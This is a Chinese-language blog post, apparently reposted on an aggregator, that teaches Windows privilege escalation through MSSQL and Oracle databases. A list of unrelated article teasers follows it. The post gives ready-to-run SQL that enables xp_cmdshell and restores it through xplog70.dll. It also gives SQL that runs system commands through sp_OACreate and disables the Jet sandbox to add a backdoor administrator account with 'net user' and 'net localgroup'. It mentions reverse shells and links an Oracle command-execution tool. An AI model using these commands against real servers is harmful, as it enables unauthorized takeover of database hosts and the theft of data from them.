Windows提权:利用MSSQL数据库,Oracle数据库

news2024/11/21 0:24:48

目录

MSSQL提权:使用xp_cmdshell进行提权

MSSQL:使用sp_OACreate进行提权

MSSQL:使用沙盒提权

Oracle提权:工具一把梭哈

总结


MSSQL在Windows server类的操作系统上,默认具有system权限。

MSSQL提权:使用xp_cmdshell进行提权

限制条件:得到数据库sa权限账户得账户密码

原理

  • xp_cmdshell是sql server中的一个组件,xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。
  • xp_cmdshell能提权的原理是sql server支持堆叠查询方式,而xp_cmdshell可以执行cmd的指令

利用手法

通过配置文件获取账号密码,哥斯拉登录数据库,SQL SERVER默认支持外链

这一步其实是在对方主机上连接得数据库,因为webshell位于对方主机上。

Navicat连接数据库执行

没错,MSSQL的利用就是这么简单

但是该组件默认是关闭的,因此需要把它打开。

开启xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

关闭xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;

 xp_cmdshell被注销了,解决办法:

可以先上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

总结:

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。

启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

执行:
EXEC master.dbo.xp_cmdshell '命令'

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

MSSQL:使用sp_OACreate进行提权

在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权

原理:

sp_oacreate 是一个非常危险的存储过程可以删除、复制、移动文件。主要用来调用OLE对象,利用OLE对象的方法执行系统命令。

利用手法:

开启组件:

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  

补充:关闭组件

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 0;  
RECONFIGURE WITH OVERRIDE;  

执行命令后写入1.txt进行验证

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

写入成功!!!

后续可以直接命令执行反弹shell

总结

启用:
EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   

关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 0;   
RECONFIGURE WITH OVERRIDE;  

执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

以上是使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。

MSSQL:使用沙盒提权

什么是沙盒?

沙盒(英语:sandbox,又译为沙箱),计算机专业术语,在计算机安全领域中是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。

利用手法:

执行添加管理员的命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

那么输入以下命令,启用Ad Hoc Distributed Queries:

exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

执行添加一个管理员 margin 命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

net user 查看,发现margin用户成功添加

将margin用户提升到超级管理员权限

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

net localgroup administrators 查看超级管理员组账户有margin

总结:

--提权语句

exec sp_configure 'show advanced options',1;reconfigure;

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode参数含义(默认是2)

`0`:在任何所有者中禁止启用安全模式

`1` :为仅在允许范围内

`2` :必须在access模式下

`3`:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

--恢复配置

--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

--exec sp_configure 'show advanced options',0;reconfigure;

Oracle提权:工具一把梭哈

oracle数据库的管理员是dba

工具项目地址:GitHub - jas502n/oracleShell: oracle 数据库命令执行

1、普通用户模式:

        前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。

2、DBA用户模式:

        拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。

3、注入提升模式:

        拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显

总结

MSSQL数据库提权总结归纳:

MSSQL数据库三种提权方式都是死的:固定得命令执行

三种提权方式都是通过web权限查看配置文件的方式获取到MSSQL数据库的账号密码,再进行提权的,MSSQL数据库是默认允许外链的,我们获得sa账户密码后,可以直接远程登录数据库。再数据库的SQL语句执行环境进行提权的。

Oracle数据库的利用就很简单,工具梭哈即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/590925.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

三、浅谈机器人的底盘设计

两电机差速底盘 方式1:驱动轮在后,万向轮在前(支撑轮也可以换成全向轮,目的只是撑地),在一般的巡线比赛中较常用。 该底盘的优点:运动灵活,组装简单 该底盘的缺点:车体…

如何增加音频音量,给大家分享两个免费方法!

相信许多音频剪辑新手在刚开始的阶段需要探索学习各种操作方法。其中,许多用户发现自己的音频文件音量太小,想要增加音量,但却不知道使用哪种工具更好,如何操作更为方便。为此,我为您整理了两种方法,并向新…

docker的基本相关知识和操作

镜像相关操作命令: 访问DockerHub搜索镜像,https://hub.docker.com/ 查看本地镜像:docker images 搜索镜像 docker search redis (搜索redis) 拉取镜像:docker pull redis (默认版本&#x…

Slow-Fast使用教程2023.5.30

项目地址 https://github.com/facebookresearch/SlowFast 安装教程 首先参考官方安装必须的包并下载项目文件:https://github.com/facebookresearch/SlowFast/blob/main/INSTALL.md 安装注意: 最好使用Linux系统,如果是windows系统&#xf…

3. JVM对象创建与内存分配机制深度剖析

JVM性能调优 1. 对象的创建1.1 类加载检查1.2 分配内存1.3 初始化1.4 设置对象头1.HotSpot虚拟机的对象头包括三部分信息&#xff1a;Mark Word、Klass Pointer类型指针、数组长度 1.5 执行<init>方法 2. 对象大小与指针压缩2.1 什么是java对象的指针压缩&#xff1f;2.2…

数据结构——链式二叉树

&#x1f436;博主主页&#xff1a;ᰔᩚ. 一怀明月ꦿ ❤️‍&#x1f525;专栏系列&#xff1a;线性代数&#xff0c;C初学者入门训练&#xff0c;题解C&#xff0c;C的使用文章&#xff0c;「初学」C &#x1f525;座右铭&#xff1a;“不要等到什么都没有了&#xff0c;才下…

【云原生|探索 Kubernetes 系列 7】探究 Pod 有什么用,为什么需要它

前言 大家好&#xff0c;我是秋意零。 前一篇&#xff0c;我们介绍了如何从 0 到 1 搭建 Kubernetes 集群。现在我们可以正式了解&#xff0c;Kubernetes 核心特征了。 今天我们来探究 Pod&#xff0c;为什么需要 Pod&#xff1f; &#x1f47f; 简介 &#x1f3e0; 个人主页…

编程示例:求排列的逆,反序表,以及从反序表计算排列

编程示例&#xff1a;求排列的逆&#xff0c;反序表&#xff0c;以及从反序表计算排列 计算机程序设计艺术的第三卷 第五章排序中&#xff0c;第5.1.1节中 提到了排列的反序&#xff0c;反序表&#xff0c;逆的概念。 首先&#xff0c;简单地介绍一下这两个概念。例如一个排列…

RK3566 ALC5616录音调试

1.硬件原理图 MIC_P&#xff0c;MIC_N&#xff1a;mic输入。 I2S&#xff1a;总共有5根线&#xff08;这里不是指 i2s 标准接口&#xff09;&#xff1a;两根音频数据线&#xff08;输入/输出&#xff09;、三根时钟线 其中&#xff1a; I2S_LRCK 是指示当前数据线传输的是左声…

【网络】UDP的应用场景

文章目录 翻译功能命令行解析网络聊天室UDP之Windows与Linux 翻译功能 我们写的UDP服务端并不是只接收到数据就完了&#xff0c;还需要进行处理任务。 我们可以在服务端udpServer.hpp中设置一个回调函数 _callback&#xff0c;具体的逻辑通过udpServer.cc中由外部进行传入 代…

Windows系统安全基线

文章目录 前言一、安全基线概述1.操作系统安全基线 二、系统账户安全1.控制密码安全2.密码策略3.账户锁定策略例&#xff1a;密码策略应用例&#xff1a;账户锁定策略应用 三、本地策略1.审核策略2.用户权限分配3.安全选项配置例&#xff1a;审核策略应用例&#xff1a;用户权限…

软件测试理论----软件测试六大测试类型

1、功能测试&#xff1a;关注功能是否正确 常见的关注点 1&#xff09;是否有不正确或者遗漏的功能 2&#xff09;是否满足用户的需求和系统隐藏的需求 3&#xff09;输入能否正确接收&#xff0c;能否输出正确结果 2、可用性测试&#xff1a;关注产品是否好用 常见的关注点…

03灰度变换与空间滤波

文章目录 3灰度变换与空间滤波3.1背景知识3.1.1灰度变换和空间滤波基础 3.2一些基本的灰度变换函数3.2.1图像反转3.2.2对数变换3.2.3幂律&#xff08;伽马&#xff09;变换3.2.4分段线性变换函数 3.3直方图处理3.3.1直方图均衡3.3.2直方图匹配&#xff08;规定化&#xff09;3.…

webpack配置排除打包

webpack配置排除打包 思路 打包时&#xff0c;不要把类似于element-ui第三方的这些包打进来 从网络上&#xff0c;通过url地址直接引入这些包 操作 &#xff08;1&#xff09;先找到 vue.config.js&#xff0c; 添加 externals 项&#xff0c;具体如下&#xff1a; config…

【JavaSE】异常 (异常抛出 异常的捕获 异常声明throws try-catch捕获并处理 finally 自定义异常)

文章目录 异常概念异常结构 异常处理异常抛出异常的捕获异常声明throwstry-catch捕获并处理finally 自定义异常 异常 概念 在程序运行过程中&#xff0c;可能会存在一些奇怪问题&#xff0c;例如&#xff1a;网络不畅&#xff0c;内存报警等等。所以在java中&#xff0c;将程…

NLP:文本预处理总览

1 用n-gram语言模型过滤低质量内容 使用n-gram语言模型对文本进行评估&#xff0c;从而过滤掉低质量的内容。具体来说&#xff0c;可以通过以下步骤进行&#xff1a; 1 将文本分成n-gram序列&#xff0c;其中n是一个整数。 2 使用已经训练好的n-gram语言模型对每个n-gram序列…

面试4年经验的测试员,开口就要25k,却连基础都不会,还不如招应届生!

公司前段缺人&#xff0c;也面了不少测试&#xff0c;结果竟然没有一个合适的。一开始瞄准的就是中级的水准&#xff0c;也没指望来大牛&#xff0c;提供的薪资在10-25k&#xff0c;面试的人很多&#xff0c;但平均水平很让人失望。看简历很多都是4年工作经验&#xff0c;但面试…

冒泡排序实现(c++)

目录 冒泡排序简介&#xff1a; 冒泡排序原理&#xff1a; 动图演示&#xff1a; 代码实现&#xff1a; 冒泡排序简介&#xff1a; 冒泡排序&#xff0c;最优时间复杂度O(N)&#xff0c;平均时间复杂度O(N^2)&#xff0c;最差空间复杂度O(N)&#xff0c;平均时间复杂度O(1)…

基于ISIC数据集的皮肤病黑色素瘤分类研究与实现

摘要&#xff1a; 本项目利用残差网络结构对皮肤病图像进行分类&#xff0c;提高了皮肤病诊断的准确度。并结合Flask框架实现一个简单的Web应用&#xff0c;用户可以上传图像文件&#xff0c;经过预处理最后将预测结果显示在界面上。通过该系统&#xff0c;医生和研究人员可以快…

STM32单片机(三)第三节:GPIO输入

❤️ 专栏简介&#xff1a;本专栏记录了从零学习单片机的过程&#xff0c;其中包括51单片机和STM32单片机两部分&#xff1b;建议先学习51单片机&#xff0c;其是STM32等高级单片机的基础&#xff1b;这样再学习STM32时才能融会贯通。 ☀️ 专栏适用人群 &#xff1a;适用于想要…